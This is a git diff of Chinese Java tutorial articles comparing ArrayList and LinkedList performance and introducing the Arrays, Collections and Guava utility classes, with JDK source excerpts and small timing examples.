+找到指定位置上的元素(succ)之后,就开始执行 `linkBefore()` 方法了,先将 succ 的前一个节点(prev)存放到临时变量 pred 中,然后生成新的 Node 节点(newNode),并将 succ 的前一个节点变更为 newNode,如果 pred 为 null,说明插入的是队头,所以 first 为新节点;否则将 pred 的后一个节点变更为 newNode。
+
+
+
+经过源码分析以后,小伙伴们是不是在想:“好像 ArrayList 在新增元素的时候效率并不一定比 LinkedList 低啊!”
+
+当两者的起始长度是一样的情况下:
+
+- 如果是从集合的头部新增元素,ArrayList 花费的时间应该比 LinkedList 多,因为需要对头部以后的元素进行复制。
+
+```java
+public class ArrayListTest {
+ public static void addFromHeaderTest(int num) {
+ ArrayList list = new ArrayList(num);
+ int i = 0;
+
+ long timeStart = System.currentTimeMillis();
+
+ while (i < num) {
+ list.add(0, i + "沉默王二");
+ i++;
+ }
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("ArrayList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+
+/**
+ * @author 微信搜「沉默王二」,回复关键字 PDF
+ */
+public class LinkedListTest {
+ public static void addFromHeaderTest(int num) {
+ LinkedList list = new LinkedList();
+ int i = 0;
+ long timeStart = System.currentTimeMillis();
+ while (i < num) {
+ list.addFirst(i + "沉默王二");
+ i++;
+ }
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("LinkedList从集合头部位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+```
+
+num 为 10000,代码实测后的时间如下所示:
+
+```
+ArrayList从集合头部位置新增元素花费的时间595
+LinkedList从集合头部位置新增元素花费的时间15
+```
+
+ArrayList 花费的时间比 LinkedList 要多很多。
+
+- 如果是从集合的中间位置新增元素,ArrayList 花费的时间搞不好要比 LinkedList 少,因为 LinkedList 需要遍历。
+
+```java
+public class ArrayListTest {
+ public static void addFromMidTest(int num) {
+ ArrayList list = new ArrayList(num);
+ int i = 0;
+
+ long timeStart = System.currentTimeMillis();
+ while (i < num) {
+ int temp = list.size();
+ list.add(temp / 2 + "沉默王二");
+ i++;
+ }
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("ArrayList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+
+public class LinkedListTest {
+ public static void addFromMidTest(int num) {
+ LinkedList list = new LinkedList();
+ int i = 0;
+ long timeStart = System.currentTimeMillis();
+ while (i < num) {
+ int temp = list.size();
+ list.add(temp / 2, i + "沉默王二");
+ i++;
+ }
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("LinkedList从集合中间位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+```
+
+num 为 10000,代码实测后的时间如下所示:
+
+```
+ArrayList从集合中间位置新增元素花费的时间1
+LinkedList从集合中间位置新增元素花费的时间101
+```
+
+ArrayList 花费的时间比 LinkedList 要少很多很多。
+
+- 如果是从集合的尾部新增元素,ArrayList 花费的时间应该比 LinkedList 少,因为数组是一段连续的内存空间,也不需要复制数组;而链表需要创建新的对象,前后引用也要重新排列。
+
+```java
+public class ArrayListTest {
+ public static void addFromTailTest(int num) {
+ ArrayList list = new ArrayList(num);
+ int i = 0;
+
+ long timeStart = System.currentTimeMillis();
+
+ while (i < num) {
+ list.add(i + "沉默王二");
+ i++;
+ }
+
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("ArrayList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+
+public class LinkedListTest {
+ public static void addFromTailTest(int num) {
+ LinkedList list = new LinkedList();
+ int i = 0;
+ long timeStart = System.currentTimeMillis();
+ while (i < num) {
+ list.add(i + "沉默王二");
+ i++;
+ }
+ long timeEnd = System.currentTimeMillis();
+
+ System.out.println("LinkedList从集合尾部位置新增元素花费的时间" + (timeEnd - timeStart));
+ }
+}
+```
+
+num 为 10000,代码实测后的时间如下所示:
+
+```
+ArrayList从集合尾部位置新增元素花费的时间69
+LinkedList从集合尾部位置新增元素花费的时间193
+```
+
+ArrayList 花费的时间比 LinkedList 要少一些。
+
+这样的结论和预期的是不是不太相符?ArrayList 在添加元素的时候如果不涉及到扩容,性能在两种情况下(中间位置新增元素、尾部新增元素)比 LinkedList 好很多,只有头部新增元素的时候比 LinkedList 差,因为数组复制的原因。
+
+当然了,如果涉及到数组扩容的话,ArrayList 的性能就没那么可观了,因为扩容的时候也要复制数组。
+
+### 04、ArrayList 和 LinkedList 删除元素时究竟谁快?
+
+**1)ArrayList**
+
+ArrayList 删除元素的时候,有两种方式,一种是直接删除元素(`remove(Object)`),需要直先遍历数组,找到元素对应的索引;一种是按照索引删除元素(`remove(int)`)。
+
+```java
+public boolean remove(Object o) {
+ final Object[] es = elementData;
+ final int size = this.size;
+ int i = 0;
+ found: {
+ if (o == null) {
+ for (; i < size; i++)
+ if (es[i] == null)
+ break found;
+ } else {
+ for (; i < size; i++)
+ if (o.equals(es[i]))
+ break found;
+ }
+ return false;
+ }
+ fastRemove(es, i);
+ return true;
+}
+public E remove(int index) {
+ Objects.checkIndex(index, size);
+ final Object[] es = elementData;
+
+ @SuppressWarnings("unchecked") E oldValue = (E) es[index];
+ fastRemove(es, index);
+
+ return oldValue;
+}
+```
+
+但从本质上讲,都是一样的,因为它们最后调用的都是 `fastRemove(Object, int)` 方法。
+
+```java
+private void fastRemove(Object[] es, int i) {
+ modCount++;
+ final int newSize;
+ if ((newSize = size - 1) > i)
+ System.arraycopy(es, i + 1, es, i, newSize - i);
+ es[size = newSize] = null;
+}
+```
+
+从源码可以看得出,只要删除的不是最后一个元素,都需要数组重组。删除的元素位置越靠前,代价就越大。
+
+
+**2)LinkedList**
+
+LinkedList 删除元素的时候,有四种常用的方式:
+
+- `remove(int)`,删除指定位置上的元素
+
+```java
+public E remove(int index) {
+ checkElementIndex(index);
+ return unlink(node(index));
+}
+```
+
+先检查索引,再调用 `node(int)` 方法( 前后半段遍历,和新增元素操作一样)找到节点 Node,然后调用 `unlink(Node)` 解除节点的前后引用,同时更新前节点的后引用和后节点的前引用:
+
+```java
+ E unlink(Node x) {
+ // assert x != null;
+ final E element = x.item;
+ final Node next = x.next;
+ final Node prev = x.prev;
+
+ if (prev == null) {
+ first = next;
+ } else {
+ prev.next = next;
+ x.prev = null;
+ }
+
+ if (next == null) {
+ last = prev;
+ } else {
+ next.prev = prev;
+ x.next = null;
+ }
+
+ x.item = null;
+ size--;
+ modCount++;
+ return element;
+ }
+```
+
+- `remove(Object)`,直接删除元素
+
+```java
+public boolean remove(Object o) {
+ if (o == null) {
+ for (LinkedList.Node x = first; x != null; x = x.next) {
+ if (x.item == null) {
+ unlink(x);
+ return true;
+ }
+ }
+ } else {
+ for (LinkedList.Node x = first; x != null; x = x.next) {
+ if (o.equals(x.item)) {
+ unlink(x);
+ return true;
+ }
+ }
+ }
+ return false;
+}
+```
+
+也是先前后半段遍历,找到要删除的元素后调用 `unlink(Node)`。
+
+- `removeFirst()`,删除第一个节点
+
+```java
+public E removeFirst() {
+ final LinkedList.Node f = first;
+ if (f == null)
+ throw new NoSuchElementException();
+ return unlinkFirst(f);
+}
+private E unlinkFirst(LinkedList.Node f) {
+ // assert f == first && f != null;
+ final E element = f.item;
+ final LinkedList.Node next = f.next;
+ f.item = null;
+ f.next = null; // help GC
+ first = next;
+ if (next == null)
+ last = null;
+ else
+ next.prev = null;
+ size--;
+ modCount++;
+ return element;
+}
+```
+
+删除第一个节点就不需要遍历了,只需要把第二个节点更新为第一个节点即可。
+
+- `removeLast()`,删除最后一个节点
+
+删除最后一个节点和删除第一个节点类似,只需要把倒数第二个节点更新为最后一个节点即可。
+
+可以看得出,LinkedList 在删除比较靠前和比较靠后的元素时,非常高效,但如果删除的是中间位置的元素,效率就比较低了。
+
+这里就不再做代码测试了,感兴趣的小伙伴可以自己试试,结果和新增元素保持一致:
+
+- 从集合头部删除元素时,ArrayList 花费的时间比 LinkedList 多很多;
+
+- 从集合中间位置删除元素时,ArrayList 花费的时间比 LinkedList 少很多;
+
+- 从集合尾部删除元素时,ArrayList 花费的时间比 LinkedList 少一点。
+
+我本地的统计结果如下所示,小伙伴们可以作为参考:
+
+```
+ArrayList从集合头部位置删除元素花费的时间380
+LinkedList从集合头部位置删除元素花费的时间4
+ArrayList从集合中间位置删除元素花费的时间381
+LinkedList从集合中间位置删除元素花费的时间5922
+ArrayList从集合尾部位置删除元素花费的时间8
+LinkedList从集合尾部位置删除元素花费的时间12
+```
+
+### 05、ArrayList 和 LinkedList 遍历元素时究竟谁快?
+
+**1)ArrayList**
+
+遍历 ArrayList 找到某个元素的话,通常有两种形式:
+
+- `get(int)`,根据索引找元素
+
+```java
+public E get(int index) {
+ Objects.checkIndex(index, size);
+ return elementData(index);
+}
+```
+
+由于 ArrayList 是由数组实现的,所以根据索引找元素非常的快,一步到位。
+
+- `indexOf(Object)`,根据元素找索引
+
+```java
+public int indexOf(Object o) {
+ return indexOfRange(o, 0, size);
+}
+
+int indexOfRange(Object o, int start, int end) {
+ Object[] es = elementData;
+ if (o == null) {
+ for (int i = start; i < end; i++) {
+ if (es[i] == null) {
+ return i;
+ }
+ }
+ } else {
+ for (int i = start; i < end; i++) {
+ if (o.equals(es[i])) {
+ return i;
+ }
+ }
+ }
+ return -1;
+}
+```
+
+根据元素找索引的话,就需要遍历整个数组了,从头到尾依次找。
+
+
+**2)LinkedList**
+
+遍历 LinkedList 找到某个元素的话,通常也有两种形式:
+
+- `get(int)`,找指定位置上的元素
+
+```java
+public E get(int index) {
+ checkElementIndex(index);
+ return node(index).item;
+}
+```
+
+既然需要调用 `node(int)` 方法,就意味着需要前后半段遍历了。
+
+- `indexOf(Object)`,找元素所在的位置
+
+```java
+public int indexOf(Object o) {
+ int index = 0;
+ if (o == null) {
+ for (LinkedList.Node x = first; x != null; x = x.next) {
+ if (x.item == null)
+ return index;
+ index++;
+ }
+ } else {
+ for (LinkedList.Node x = first; x != null; x = x.next) {
+ if (o.equals(x.item))
+ return index;
+ index++;
+ }
+ }
+ return -1;
+}
+```
+
+需要遍历整个链表,和 ArrayList 的 `indexOf()` 类似。
+
+那在我们对集合遍历的时候,通常有两种做法,一种是使用 for 循环,一种是使用迭代器(Iterator)。
+
+如果使用的是 for 循环,可想而知 LinkedList 在 get 的时候性能会非常差,因为每一次外层的 for 循环,都要执行一次 `node(int)` 方法进行前后半段的遍历。
+
+```java
+LinkedList.Node node(int index) {
+ // assert isElementIndex(index);
+
+ if (index < (size >> 1)) {
+ LinkedList.Node x = first;
+ for (int i = 0; i < index; i++)
+ x = x.next;
+ return x;
+ } else {
+ LinkedList.Node x = last;
+ for (int i = size - 1; i > index; i--)
+ x = x.prev;
+ return x;
+ }
+}
+```
+
+
+
+那如果使用的是迭代器呢?
+
+```java
+LinkedList list = new LinkedList();
+for (Iterator it = list.iterator(); it.hasNext();) {
+ it.next();
+}
+```
+
+迭代器只会调用一次 `node(int)` 方法,在执行 `list.iterator()` 的时候:先调用 AbstractSequentialList 类的 `iterator()` 方法,再调用 AbstractList 类的 `listIterator()` 方法,再调用 LinkedList 类的 `listIterator(int)` 方法,如下图所示。
+
+
+
+最后返回的是 LinkedList 类的内部私有类 ListItr 对象:
+
+```java
+public ListIterator listIterator(int index) {
+ checkPositionIndex(index);
+ return new LinkedList.ListItr(index);
+}
+
+private class ListItr implements ListIterator {
+ private LinkedList.Node lastReturned;
+ private LinkedList.Node next;
+ private int nextIndex;
+ private int expectedModCount = modCount;
+
+ ListItr(int index) {
+ // assert isPositionIndex(index);
+ next = (index == size) ? null : node(index);
+ nextIndex = index;
+ }
+
+ public boolean hasNext() {
+ return nextIndex < size;
+ }
+
+ public E next() {
+ checkForComodification();
+ if (!hasNext())
+ throw new NoSuchElementException();
+
+ lastReturned = next;
+ next = next.next;
+ nextIndex++;
+ return lastReturned.item;
+ }
+}
+```
+
+执行 ListItr 的构造方法时调用了一次 `node(int)` 方法,返回第一个节点。在此之后,迭代器就执行 `hasNext()` 判断有没有下一个,执行 `next()` 方法下一个节点。
+
+由此,可以得出这样的结论:**遍历 LinkedList 的时候,千万不要使用 for 循环,要使用迭代器。**
+
+也就是说,for 循环遍历的时候,ArrayList 花费的时间远小于 LinkedList;迭代器遍历的时候,两者性能差不多。
+
+### 06、总结
+
+花了两天时间,终于肝完了!相信看完这篇文章后,再有面试官问你 ArrayList 和 LinkedList 有什么区别的话,你一定会胸有成竹地和他扯上半小时了。
+
+这是《Java 程序员进阶之路》专栏的第 61 篇。Java 程序员进阶之路,风趣幽默、通俗易懂,对 Java 初学者极度友好和舒适😘,内容包括但不限于 Java 语法、Java 集合框架、Java IO、Java 并发编程、Java 虚拟机等核心知识点。
+
+>[https://github.com/itwanger/toBeBetterJavaer](https://github.com/itwanger/toBeBetterJavaer)
+
+这么硬核的东西,还不赶紧 star 下?
\ No newline at end of file
diff --git a/docs/src/common-tool/arrays.md b/docs/common-tool/arrays.md
similarity index 82%
rename from docs/src/common-tool/arrays.md
rename to docs/common-tool/arrays.md
index 09bdb0c19e..54935c8b84 100644
--- a/docs/src/common-tool/arrays.md
+++ b/docs/common-tool/arrays.md
@@ -1,19 +1,5 @@
----
-title: Java Arrays:专为数组而生的工具类
-shortTitle: Arrays工具类
-category:
- - Java核心
-tag:
- - 常用工具类
-description: 本文详细介绍了Java中的Arrays工具类,阐述了它在数组操作中的实际应用和优势。通过具体的代码示例,展示了如何使用Arrays类处理数组排序、查找、转换等常见问题。学习Arrays工具类的技巧,让您在Java编程中轻松应对各种数组操作,提高开发效率。
-head:
- - - meta
- - name: keywords
- content: Java,Java SE,Java基础,Java教程,二哥的Java进阶之路,Java进阶之路,Java入门,教程,java,Arrays,数组,java arrays,java 数组
----
-
-
-“哥,数组专用工具类是专门用来操作[数组](https://javabetter.cn/array/array.html)的吗?比如说创建数组、数组排序、数组检索等等。”三妹的提问其实已经把答案说了出来。
+
+“哥,数组专用工具类是专门用来操作数组的吗?比如说创建数组、数组排序、数组检索等等。”三妹的提问其实已经把答案说了出来。
“是滴,这里说的数组专用工具类指的是 `java.util.Arrays` 类,基本上常见的数组操作,这个类都提供了静态方法可供直接调用。毕竟数组本身想完成这些操作还是挺麻烦的,有了这层封装,就方便多了。”在回答三妹的同时,我打开 Intellij IDEA,找到了 Arrays 类的源码。
@@ -50,9 +36,7 @@ public class Arrays {}
- copyOfRange,复制指定范围内的数组到一个新的数组
- fill,对数组进行填充
-#### 1)copyOf
-
-直接来看例子:
+1)copyOf,直接来看例子:
```java
String[] intro = new String[] { "沉", "默", "王", "二" };
@@ -80,9 +64,7 @@ private Object[] grow(int minCapacity) {
}
```
-#### 2)copyOfRange
-
-直接来看例子:
+2)copyOfRange,直接来看例子:
```java
String[] intro = new String[] { "沉", "默", "王", "二" };
@@ -115,9 +97,8 @@ System.out.println(Arrays.toString(abridgementExpanded));
“嗯,我想是 Arrays 的设计者考虑到了数组越界的问题,不然每次调用 Arrays 类就要先判断很多次长度,很麻烦。”稍作思考后,我给出了这样一个回答。
-#### 3)fill
-直接来看例子:
+3)fill,直接来看例子:
```java
String[] stutter = new String[4];
@@ -176,7 +157,7 @@ public static boolean equals(Object[] a, Object[] a2) {
}
```
-因为数组是一个对象,所以先使用“==”操作符进行判断,如果不相等,再判断是否为 null,其中一个为 null,返回 false;紧接着判断 length,不等的话,返回 false;否则的话,依次调用 `Objects.equals()` 比较相同位置上的元素是否相等。
+因为数组是一个对象,所以先使用“==”操作符进行判断,如果不相等,再判断是否为 null,两个都为 null,返回 false;紧接着判断 length,不等的话,返回 false;否则的话,依次调用 `Objects.equals()` 比较相同位置上的元素是否相等。
“这段代码还是非常严谨的,对吧?三妹,这也就是我们学习源码的意义,欣赏的同时,可以学习源码作者清晰的编码思路。”我语重心长地给三妹讲。
@@ -268,7 +249,7 @@ System.out.println(caseInsensitive);
“流是什么呀?”三妹好奇的问。
-“流的英文单词是 Stream,它可以极大提高 Java 程序员的生产力,让程序员写出高效、干净、简洁的代码。 这种风格将要处理的集合看作是一种流,想象一下水流在管道中流过的样子,我们可以在管道中对流进行处理,比如筛选、排序等等。[Stream 具体怎么使用](https://javabetter.cn/java8/stream.html),我们留到后面再详细地讲,这里你先有一个大致的印象就可以了。”我回答到。
+“流的英文单词是 Stream,它可以极大提高 Java 程序员的生产力,让程序员写出高效、干净、简洁的代码。 这种风格将要处理的集合看作是一种流,想象一下水流在管道中流过的样子,我们可以在管道中对流进行处理,比如筛选、排序等等。Stream 具体怎么使用,我们留到后面再详细地讲,这里你先有一个大致的印象就可以了。”我回答到。
Arrays 类的 `stream()` 方法可以将数组转换成流:
@@ -299,7 +280,7 @@ Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: origin(2) >
[Ljava.lang.String;@3d075dc0
```
-[最优雅的打印方式](https://javabetter.cn/array/print.html),是使用 `Arrays.toString()`,其实前面讲过。来看一下该方法的源码:
+最优雅的打印方式,是使用 `Arrays.toString()`,来看一下该方法的源码:
```java
public static String toString(Object[] a) {
@@ -337,7 +318,7 @@ public static String toString(Object[] a) {
### 07、数组转 List
-尽管数组非常强大,但它自身可以操作的工具方法很少,比如说判断数组中是否包含某个值。如果能转成 List 的话,就简便多了,因为 Java 的[集合框架 List](https://javabetter.cn/collection/gailan.html) 中封装了很多常用的方法。
+尽管数组非常强大,但它自身可以操作的工具方法很少,比如说判断数组中是否包含某个值。如果能转成 List 的话,就简便多了,因为 Java 的集合框架 List 中封装了很多常用的方法。
```java
String[] intro = new String[] { "沉", "默", "王", "二" };
@@ -345,7 +326,7 @@ List rets = Arrays.asList(intro);
System.out.println(rets.contains("二"));
```
-不过需要注意的是,`Arrays.asList()` 返回的是 `java.util.Arrays.ArrayList`,并不是 [`java.util.ArrayList`](https://javabetter.cn/collection/arraylist.html),它的长度是固定的,无法进行元素的删除或者添加。
+不过需要注意的是,`Arrays.asList()` 返回的是 `java.util.Arrays.ArrayList`,并不是 `java.util.ArrayList`,它的长度是固定的,无法进行元素的删除或者添加。
```java
rets.add("三");
@@ -370,7 +351,7 @@ rets1.remove("二");
### 08、setAll
-Java 8 新增了 `setAll()` 方法,它提供了一个[函数式编程](https://javabetter.cn/java8/Lambda.html)的入口,可以对数组的元素进行填充:
+Java 8 新增了 `setAll()` 方法,它提供了一个函数式编程的入口,可以对数组的元素进行填充:
```java
int[] array = new int[10];
@@ -431,13 +412,4 @@ System.out.println(Arrays.toString(arr));
“嗯嗯,我先复习一下这节的内容。哥,你去休息吧。”
-我来到客厅,坐到沙发上,捧起黄永玉先生的《无愁河上的浪荡汉子·八年卷 1》看了起来,津津有味。。。。。。
-
-----
-
-GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/)
-
-
-微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。
-
-
\ No newline at end of file
+我来到客厅,坐到沙发上,捧起黄永玉先生的《无愁河上的浪荡汉子·八年卷 1》看了起来,津津有味。。。。。。
\ No newline at end of file
diff --git a/docs/common-tool/collections.md b/docs/common-tool/collections.md
new file mode 100644
index 0000000000..9cc027c459
--- /dev/null
+++ b/docs/common-tool/collections.md
@@ -0,0 +1,248 @@
+
+
+Collections 是 JDK 提供的一个工具类,位于 java.util 包下,提供了一系列的静态方法,方便我们对集合进行各种骚操作,算是集合框架的一个大管家。
+
+还记得我们前面讲过的 [Arrays 工具类](https://mp.weixin.qq.com/s/9dYmKXEErZbyPJ_GxwWYug)吗?可以回去温习下。
+
+Collections 的用法很简单,在 Intellij IDEA 中敲完 `Collections.` 之后就可以看到它提供的方法了,大致看一下方法名和参数就能知道这个方法是干嘛的。
+
+
+
+
+为了节省大家的学习时间,我将这些方法做了一些分类,并列举了一些简单的例子。
+
+### 01、排序操作
+
+- `reverse(List list)`:反转顺序
+- `shuffle(List list)`:洗牌,将顺序打乱
+- `sort(List list)`:自然升序
+- `sort(List list, Comparator c)`:按照自定义的比较器排序
+- `swap(List list, int i, int j)`:将 i 和 j 位置的元素交换位置
+
+来看例子:
+
+```java
+List list = new ArrayList<>();
+list.add("沉默王二");
+list.add("沉默王三");
+list.add("沉默王四");
+list.add("沉默王五");
+list.add("沉默王六");
+
+System.out.println("原始顺序:" + list);
+
+// 反转
+Collections.reverse(list);
+System.out.println("反转后:" + list);
+
+// 洗牌
+Collections.shuffle(list);
+System.out.println("洗牌后:" + list);
+
+// 自然升序
+Collections.sort(list);
+System.out.println("自然升序后:" + list);
+
+// 交换
+Collections.swap(list, 2,4);
+System.out.println("交换后:" + list);
+```
+
+输出后:
+
+```
+原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六]
+反转后:[沉默王六, 沉默王五, 沉默王四, 沉默王三, 沉默王二]
+洗牌后:[沉默王五, 沉默王二, 沉默王六, 沉默王三, 沉默王四]
+自然升序后:[沉默王三, 沉默王二, 沉默王五, 沉默王六, 沉默王四]
+交换后:[沉默王三, 沉默王二, 沉默王四, 沉默王六, 沉默王五]
+```
+
+### 02、查找操作
+
+- `binarySearch(List list, Object key)`:二分查找法,前提是 List 已经排序过了
+- `max(Collection coll)`:返回最大元素
+- `max(Collection coll, Comparator comp)`:根据自定义比较器,返回最大元素
+- `min(Collection coll)`:返回最小元素
+- `min(Collection coll, Comparator comp)`:根据自定义比较器,返回最小元素
+- `fill(List list, Object obj)`:使用指定对象填充
+- `frequency(Collection c, Object o)`:返回指定对象出现的次数
+
+来看例子:
+
+```java
+System.out.println("最大元素:" + Collections.max(list));
+System.out.println("最小元素:" + Collections.min(list));
+System.out.println("出现的次数:" + Collections.frequency(list, "沉默王二"));
+
+// 没有排序直接调用二分查找,结果是不确定的
+System.out.println("排序前的二分查找结果:" + Collections.binarySearch(list, "沉默王二"));
+Collections.sort(list);
+// 排序后,查找结果和预期一致
+System.out.println("排序后的二分查找结果:" + Collections.binarySearch(list, "沉默王二"));
+
+Collections.fill(list, "沉默王八");
+System.out.println("填充后的结果:" + list);
+```
+
+输出后:
+
+```
+原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六]
+最大元素:沉默王四
+最小元素:沉默王三
+出现的次数:1
+排序前的二分查找结果:0
+排序后的二分查找结果:1
+填充后的结果:[沉默王八, 沉默王八, 沉默王八, 沉默王八, 沉默王八]
+```
+
+### 03、同步控制
+
+[HashMap 是线程不安全](https://mp.weixin.qq.com/s/qk_neCdzM3aB6pVWVTHhNw)的,这个我们前面讲到了。那其实 ArrayList 也是线程不安全的,没法在多线程环境下使用,那 Collections 工具类中提供了多个 synchronizedXxx 方法,这些方法会返回一个同步的对象,从而解决多线程中访问集合时的安全问题。
+
+
+
+使用起来也非常的简单:
+
+```java
+SynchronizedList synchronizedList = Collections.synchronizedList(list);
+```
+
+看一眼 SynchronizedList 的源码就明白了,不过是在方法里面使用 synchronized 关键字加了一层锁而已。
+
+```java
+static class SynchronizedList
+ extends SynchronizedCollection
+ implements List {
+ private static final long serialVersionUID = -7754090372962971524L;
+
+ final List list;
+
+ SynchronizedList(List list) {
+ super(list);
+ this.list = list;
+ }
+
+ public E get(int index) {
+ synchronized (mutex) {return list.get(index);}
+ }
+
+ public void add(int index, E element) {
+ synchronized (mutex) {list.add(index, element);}
+ }
+ public E remove(int index) {
+ synchronized (mutex) {return list.remove(index);}
+ }
+}
+```
+
+那这样的话,其实效率和那些直接在方法上加 synchronized 关键字的 Vector、Hashtable 差不多(JDK 1.0 时期就有了),而这些集合类基本上已经废弃了,几乎不怎么用。
+
+```java
+public class Vector
+ extends AbstractList
+ implements List, RandomAccess, Cloneable, java.io.Serializable
+{
+
+ public synchronized E get(int index) {
+ if (index >= elementCount)
+ throw new ArrayIndexOutOfBoundsException(index);
+
+ return elementData(index);
+ }
+
+ public synchronized E remove(int index) {
+ modCount++;
+ if (index >= elementCount)
+ throw new ArrayIndexOutOfBoundsException(index);
+ E oldValue = elementData(index);
+
+ int numMoved = elementCount - index - 1;
+ if (numMoved > 0)
+ System.arraycopy(elementData, index+1, elementData, index,
+ numMoved);
+ elementData[--elementCount] = null; // Let gc do its work
+
+ return oldValue;
+ }
+}
+```
+
+正确的做法是使用并发包下的 CopyOnWriteArrayList、ConcurrentHashMap。这些我们放到并发编程时再讲。
+
+### 04、不可变集合
+
+- `emptyXxx()`:制造一个空的不可变集合
+- `singletonXxx()`:制造一个只有一个元素的不可变集合
+- `unmodifiableXxx()`:为指定集合制作一个不可变集合
+
+举个例子:
+
+```java
+List emptyList = Collections.emptyList();
+emptyList.add("非空");
+System.out.println(emptyList);
+```
+
+这段代码在执行的时候就抛出错误了。
+
+```
+Exception in thread "main" java.lang.UnsupportedOperationException
+ at java.util.AbstractList.add(AbstractList.java:148)
+ at java.util.AbstractList.add(AbstractList.java:108)
+ at com.itwanger.s64.Demo.main(Demo.java:61)
+```
+
+这是因为 `Collections.emptyList()` 会返回一个 Collections 的内部类 EmptyList,而 EmptyList 并没有重写父类 AbstractList 的 `add(int index, E element)` 方法,所以执行的时候就抛出了不支持该操作的 UnsupportedOperationException 了。
+
+这是从分析 add 方法源码得出的原因。除此之外,emptyList 方法是 final 的,返回的 EMPTY_LIST 也是 final 的,种种迹象表明 emptyList 返回的就是不可变对象,没法进行增伤改查。
+
+```java
+public static final List emptyList() {
+ return (List) EMPTY_LIST;
+}
+
+public static final List EMPTY_LIST = new EmptyList<>();
+```
+
+### 05、其他
+
+还有两个方法比较常用:
+
+- `addAll(Collection super T> c, T... elements)`,往集合中添加元素
+- `disjoint(Collection> c1, Collection> c2)`,判断两个集合是否没有交集
+
+举个例子:
+
+```java
+List allList = new ArrayList<>();
+Collections.addAll(allList, "沉默王九","沉默王十","沉默王二");
+System.out.println("addAll 后:" + allList);
+
+System.out.println("是否没有交集:" + (Collections.disjoint(list, allList) ? "是" : "否"));
+```
+
+输出后:
+
+```
+原始顺序:[沉默王二, 沉默王三, 沉默王四, 沉默王五, 沉默王六]
+addAll 后:[沉默王九, 沉默王十, 沉默王二]
+是否没有交集:否
+```
+
+整体上,Collections 工具类作为集合框架的大管家,提供了一些非常便利的方法供我们调用,也非常容易掌握,没什么难点,看看方法的注释就能大致明白干嘛的。
+
+不过,工具就放在那里,用是一回事,为什么要这么用就是另外一回事了。能不能提高自己的编码水平,很大程度上取决于你到底有没有去钻一钻源码,看这些设计 JDK 的大师们是如何写代码的,学会一招半式,在工作当中还是能很快脱颖而出的。
+
+恐怕 JDK 的设计者是这个世界上最好的老师了,文档写得不能再详细了,代码写得不能再优雅了,基本上都达到了性能上的极致。
+
+可能有人会说,工具类没什么鸟用,不过是调用下方法而已,但这就大错特错了:如果要你来写,你能写出来 Collections 这样一个工具类吗?
+
+这才是高手要思考的一个问题。
+
+
+
+
+
+
diff --git a/docs/common-tool/guava.md b/docs/common-tool/guava.md
new file mode 100644
index 0000000000..305c8a23ec
--- /dev/null
+++ b/docs/common-tool/guava.md
@@ -0,0 +1,243 @@
+### 01、前世今生
+
+你好呀,我是 Guava。
+
+我由 Google 公司开源,目前在 GitHub 上已经有 39.9k 的铁粉了,由此可以证明我的受欢迎程度。
+
+
+
+
+我的身体里主要包含有这些常用的模块:集合 [collections] 、缓存 [caching] 、原生类型支持 [primitives support] 、并发库 [concurrency libraries] 、通用注解 [common annotations] 、字符串处理 [string processing] 、I/O 等。新版的 JDK 中已经直接把我引入了,可想而知我有多优秀,忍不住骄傲了。
+
+这么说吧,学好如何使用我,能让你在编程中变得更快乐,写出更优雅的代码!
+
+*PS:star 这种事,只能求,不求没效果😭😭😭。二哥开源的《Java 程序员进阶之路》专栏在 GitHub 上已经收获了 595 枚星标,铁粉们赶紧去点点啦,帮二哥冲 600 star,笔芯*!
+
+>https://github.com/itwanger/toBeBetterJavaer
+
+### 02、引入 Guava
+
+如果你要在 Maven 项目使用我的话,需要先在 pom.xml 文件中引入我的依赖。
+
+```
+
+ com.google.guava
+ guava
+ 30.1-jre
+
+```
+
+一点要求,JDK 版本需要在 8 以上。
+
+### 03、基本工具
+
+Doug Lea,java.util.concurrent 包的作者,曾说过一句话:“null 真糟糕”。Tony Hoare,图灵奖得主、快速排序算法的作者,当然也是 null 的创建者,也曾说过类似的话:“null 的使用,让我损失了十亿美元。”鉴于此,我用 Optional 来表示可能为 null 的对象。
+
+
+
+
+代码示例如下所示。
+
+```java
+Optional possible = Optional.of(5);
+possible.isPresent(); // returns true
+possible.get(); // returns 5
+```
+
+我大哥 Java 在 JDK 8 中新增了 [Optional 类](https://mp.weixin.qq.com/s/PqK0KNVHyoEtZDtp5odocA),显然是从我这借鉴过去的,不过他的和我的有些不同。
+
+- 我的 Optional 是 abstract 的,意味着我可以有子类对象;我大哥的是 final 的,意味着没有子类对象。
+
+- 我的 Optional 实现了 Serializable 接口,可以序列化;我大哥的没有。
+
+- 我的一些方法和我大哥的也不尽相同。
+
+使用 Optional 除了赋予 null 语义,增加了可读性,最大的优点在于它是一种傻瓜式的防护。Optional 迫使你积极思考引用缺失的情况,因为你必须显式地从 Optional 获取引用。
+
+除了 Optional 之外,我还提供了:
+
+- 参数校验
+- 常见的 Object 方法,比如说 Objects.equals、Objects.hashCode,JDK 7 引入的 Objects 类提供同样的方法,当然也是从我这借鉴的灵感。
+- 更强大的比较器
+
+### 04、集合
+
+首先我来说一下,为什么需要不可变集合。
+
+- 保证线程安全。在并发程序中,使用不可变集合既保证线程的安全性,也大大地增强了并发时的效率(跟并发锁方式相比)。
+
